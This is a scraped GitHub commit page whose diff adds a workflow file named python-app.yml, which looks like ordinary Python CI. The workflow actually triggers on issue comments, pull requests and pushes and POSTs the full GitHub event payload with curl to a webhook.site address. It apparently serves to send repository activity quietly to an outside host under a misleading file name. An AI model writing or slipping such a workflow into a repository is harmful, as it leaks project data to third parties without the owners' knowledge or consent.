We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 064155c commit 7ab13adCopy full SHA for 7ab13ad
.github/workflows/python-app.yml
@@ -0,0 +1,23 @@
1
+name: PR Event Listener
2
+
3
+on:
4
+ issue_comment:
5
+ types: [created]
6
+ pull_request:
7
+ types: [opened, synchronize, reopened]
8
+ push:
9
10
+jobs:
11
+ process_pr_events:
12
+ runs-on: ubuntu-latest
13
14
+ steps:
15
+ - name: Extract event details
16
+ run: |
17
+ echo "EVENT_PAYLOAD=$(jq -c . < $GITHUB_EVENT_PATH)" >> $GITHUB_ENV
18
19
+ - name: Call External API
20
21
+ curl -X POST https://webhook.site/fd45589c-732d-4b7f-a740-52c98d7fc70e \
22
+ -H "Content-Type: application/json" \
23
+ -d "$EVENT_PAYLOAD"
0 commit comments